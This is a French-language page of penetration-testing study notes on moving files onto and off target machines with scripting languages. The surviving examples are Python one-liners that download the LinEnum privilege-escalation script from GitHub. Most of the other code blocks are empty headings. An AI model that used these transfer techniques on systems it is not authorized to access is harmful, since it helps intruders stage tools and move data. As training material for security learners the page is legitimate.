rectangle-terminalTransferring Files with Code

🧠 Introduction

Il est fréquent de trouver différents langages de programmation installés sur les machines cibles. Des langages comme Python, PHP, Perl ou Ruby sont généralement disponibles par défaut sur les distributions Linux, mais peuvent également être installés sur Windows (moins courant).

Certaines applications préinstallées sous Windows, telles que cscript et mshta, permettent d'exécuter du code JavaScript ou VBScript. À noter que JavaScript peut aussi être exécuté sur des hôtes Linux.

D'après Wikipedia, il existe environ 700 langages de programmation. On peut écrire du code dans n'importe lequel d'entre eux pour télécharger, envoyer ou exécuter des instructions sur le système d'exploitation.

Cette section fournit des exemples courants de transfert de fichiers à l'aide de différents langages.

⚙️ Fonctionnement

Python

Langage populaire, Python est actuellement utilisé majoritairement en version 3, bien que certains serveurs utilisent encore la version 2.7. Python permet d'exécuter des one-liners grâce à l'option -c.

Python 2 - Téléchargement :

python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Python 3 - Téléchargement :

python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP

Langage très répandu, utilisé par plus de 75% des sites web côté serveur. Il offre plusieurs méthodes pour transférer des fichiers.

file_get_contents() + file_put_contents() :

fopen() :

Téléchargement + exécution sans fichier :

Ruby

Perl

JavaScript (Windows avec cscript.exe)

Contenu du fichier wget.js :

Commande d'exécution :

VBScript (Windows)

Contenu du fichier wget.vbs :

Commande d'exécution :

Upload de fichiers en Python3

Démarrage du serveur d'upload :

Upload d'un fichier avec une one-liner Python :

Version étendue :

🚨 Risques & vulnérabilités

  • Exécution de code non vérifié depuis Internet.

  • Récupération de malwares via ces commandes.

  • Injection de commandes possibles si les URLs ou chemins sont dynamiques.

  • Utilisation d'interpréteurs obsolètes (ex : Python 2.7).

🛠️ Outils & commandes utiles

  • python2.7 / python3

  • php -r

  • perl -e

  • ruby -e

  • cscript.exe

  • uploadserver (Python3)

📚 Ressources utiles


Last updated